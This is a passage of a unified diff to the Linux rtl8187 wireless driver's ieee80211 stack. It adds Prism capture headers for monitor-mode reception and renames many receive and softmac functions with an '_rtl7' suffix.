(LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +760,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +788,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +829,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +962,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1221,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1238,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1328,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1387,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1405,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1413,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + 